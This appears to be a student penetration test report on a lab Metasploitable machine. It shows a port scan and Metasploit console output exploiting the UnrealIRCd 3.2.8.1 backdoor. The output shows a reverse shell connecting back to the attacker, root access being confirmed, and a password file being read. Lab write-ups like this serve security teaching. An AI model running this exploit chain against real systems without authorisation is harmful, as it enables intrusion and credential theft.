

Penetration Test Report

Prepared for Hotel Dorsey



Name: Micah L. Martinez

Team Number: 4

Student Number: 2

Introduction

Hotel Dorsey's penetration test (pen test) will be very narrow in scope. The machine used for the pen test is running a Kali Linux operating system [1], which is one of the best-known systems for conducting a pen test. The first part of the pen test will be a vulnerability scan using Zenmap [2], which will find open ports that can be possible vulnerabilities. After the initial scans, a single vulnerability will be exploited to find the passwords in the *redteam4* and *redteamlookhere* directories. The second part of the pen test will use Metasploit [3]. Metasploit has over 200,000 contributors that develop new reconnaissance methods, exploits, and solutions and is one of the most popular pen test tools. Metasploit will be used for exploiting the possible vulnerability and retrieving the passwords.

Target Information

Table 1: Name and IP address of computers involved in penetration test

Computer	IP Address	Hostname
Victim Computer	10.4.2.100	metasploitable
Attacking Computer	10.4.2.50	kali

Table 2: Open Ports on victim computer and the services they run

Port	Services	Description
21	File Transfer Protocol (FTP)	The standard protocol that transfers files
22	Secure Shell (SSH)	Allows for secure operations on an unsecured network
23	Telnet	Unencrypted text communications
25	Simple Mail Transfer Protocol (SMTP)	Routes email between mail servers

53	Domain Name System (DNS)	The naming system for computers, services, or other resources connected to the internet or a private network. Kind of like a phonebook for the internet
80	Hypertext Transfer Protocol (HTTP)	Allows users to interact with web resources by transmitting messages between clients and servers.
111	Open Network Computing Remote Procedure Call	A remote procedure call allows for remote operation of programs on a different system, usually on a shared network.
139	NetBIOS Session Service	A method to connect two computers for transmitting large messages or heavy data traffic.
445	Active Directory and Server Message Block	Used for file-sharing or sharing files over the internet.
512	Remote Process Execution	Allows you to execute commands if you know the correct credentials
513	rlogin	Allows you to log in remotely to a host.
514	Remote Shell	A command-line program that can allow you to execute commands as another user on another computer.
1099	Java Remote Method Invocation (RMI)	Allows someone running Java to use other machines using Java.
1524	ingreslock	Often used as a backdoor to access machines.
2049	Network File System (NFS)	Allows a user to access files over a network.
3306	MySQL Database System	The default port for the MySQL database management system.
5432	PostgreSQL Database System	The default port for an open-source relational database management system (PostgreSQL).
6667	Internet Relay Chat	Text-based internet chat system.
8009	Apache Jserv Protocol	Port used by Tomcat and Apache web servers, used mainly as a reverse proxy to communicate with application servers.
8180	HTTP	Generally used for streaming services for webcams, radio, Etc.

Port	Protocol	State	Service	Version
21	tcp	open	ftp	vsftpd 2.3.4
22	tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23	tcp	open	telnet	Linux telnetd
25	tcp	open	smtp	Postfix smtpd
53	tcp	open	domain	ISC BIND 9.4.2
80	tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111	tcp	open	rpcbind	2 (RPC #100000)
139	tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445	tcp	open	netbios-ssn	Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512	tcp	open	exec	netkit-rsh rexecd
513	tcp	open	login	OpenBSD or Solaris rlogind
514	tcp	open	shell	Netkit rshd
1099	tcp	open	java-rmi	Java RMI Registry
1524	tcp	open	bindshell	Metasploitable root shell
2049	tcp	open	nfs	2-4 (RPC #100003)
3306	tcp	open	mysql	MySQL 5.0.51a-3ubuntu5
5432	tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.7
6667	tcp	open	irc	UnrealIRCd
8009	tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8180	tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1

Figure 1: Zenmap scan results

Vulnerability

The vulnerability used in this pen test is the UnrealIRCd 3.2.8.1 exploit [4]. This vulnerability was created in November of 2009 when someone added a Trojan Horse into the UnrealIRCd download files. This trojan horse allowed any user to remotely access the IRC service and gain unrestricted access to system files without any login information. As you can see in Figure 2, we gained access at 7:36 P.M. on October 2, 2021. Figure 3 shows that unrestricted access is gained since we have a user identifier (uid) and group identifier (gid) of zero by use of the "id" command, which means we have root access. Root is the username or account that by default has access to all commands and files in a Linux system [5]. Also, in Figure 3, you can see that we are the root user by using the "whoami" command.

```

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.4.2.50:4444
[*] 10.4.2.100:6667 - Connected to 10.4.2.100:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 10.4.2.100:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo MhcYIUHQ171Ggao8;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "MhcYIUHQ171Ggao8\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.4.2.50:4444 -> 10.4.2.100:55480) at 2021-10-02 19:36:24 -0400

```

Figure 2: Time unrestricted access was gained

```

[*] B: "MhcYIUHQ171Ggao8\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.4.2.50:4444 -> 10.4.2.100:55480) at 2021-10-02 19:36:24 -0400

id
uid=0(root) gid=0(root)
whoami
root

```

Figure 3: Proof of root access

Data Exfiltration

To find and retrieve the data, I used the `ls`, `cd`, and `cat` commands in Linux. The `ls` command will list everything in the current directory, the `cd` command will change the directory, and the `cat` command allows you to read what is in a file. I started by switching to the root directory with the `cd` command, which essentially holds everything in the system, and listing everything inside with the `ls` command. By listing the directory, I found the `redteam4` and `redteamlookhere` directories. To find the data, I followed those two directories to the files with the information and read the files with the `cat` command. Figure 4 shows the process with the `redteam4` directory. This process is very easy and only uses basic Linux commands.

```

40755/rwxr-xr-x 0      dir  2021-10-02 19:15:35 -0400 sys
41777/rwxrwxrwx 4096   dir  2021-10-02 19:40:07 -0400 tmp
40755/rwxr-xr-x 4096   dir  2010-04-28 16:28:08 -0400 usr
40755/rwxr-xr-x 4096   dir  2015-02-01 00:55:51 -0500 var
100644/rw-r--r-- 1987288 fil  2010-04-28 16:54:19 -0400 vmlinuz

meterpreter > cd redteam4
meterpreter > ls
Listing: /redteam4
=====

Mode                Size      Type    Last modified          Name
----                -
40777/rwxrwxrwx 4096   dir  2020-10-22 18:27:31 -0400 student1
40777/rwxrwxrwx 4096   dir  2020-10-22 18:27:31 -0400 student2
40777/rwxrwxrwx 4096   dir  2020-10-22 18:27:31 -0400 student3
40777/rwxrwxrwx 4096   dir  2020-10-22 18:27:31 -0400 student4
40777/rwxrwxrwx 4096   dir  2020-10-22 18:27:31 -0400 student5
40777/rwxrwxrwx 4096   dir  2020-10-22 18:27:31 -0400 student6

meterpreter > cd student2
meterpreter > ls
Listing: /redteam4/student2
=====

Mode                Size      Type    Last modified          Name
----                -
100644/rw-r--r-- 25      fil  2020-10-22 18:27:31 -0400 mypass.txt

meterpreter > cat mypass.txt
c Play jGVhbTRzdHVkZW50Mg==
meterpreter >

```

Figure 4: Finding and reading mypass.txt

Recommendations

The best course of action to fix this vulnerability is to re-download the software, check to ensure that it's a clean download (no trojan horse), and then re-install the product [6]. The only way to know for sure if this vulnerability has been patched is to try the exploit one more time after you have re-installed the software. One of the best methods to improve the security of your system overall is to update all the software; the UnrealIRCd vulnerability is just one of many possible vulnerabilities caused by outdated software on your system. After updating everything, it would be in the best interest of Hotel Dorsey to run another vulnerability scan to ensure that the system is now more secure.

References

- [1] Kali Linux, "Kali," Kali Linux, 2021. [Online]. Available: <https://www.kali.org/>. [Accessed 6 September 2021].
- [2] G. Lyon, "Chapter 12. Zenmap GUI Users' Guide," 7 August 2021. [Online]. Available: <https://nmap.org/book/zenmap.html>. [Accessed 6 September 2021].
- [3] rapid7, "Metasploit," rapid7, 2021. [Online]. Available: <https://www.rapid7.com/products/metasploit/>. [Accessed 1 October 2021].
- [4] CVE Details, "CVE-2010-2075," CVE Details, 18 June 2010. [Online]. Available: https://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor/. [Accessed 1 October 2021].
- [5] Media Temple, "AN INTRODUCTION TO THE ROOT USER," Media Temple Community, 2021. [Online]. Available: <https://mediatemple.net/community/products/dv/204643890/an-introduction-to-the-root-user#:~:text=The%20root%20is%20the%20user,root%20user%2C%20and%20the%20superuser..> [Accessed 2 October 2021].
- [6] Nessus, "UnrealIRCd Backdoor Detection," Tenable, 28 November 2018. [Online]. Available: <https://www.tenable.com/plugins/nessus/46882>. [Accessed 2 October 2021].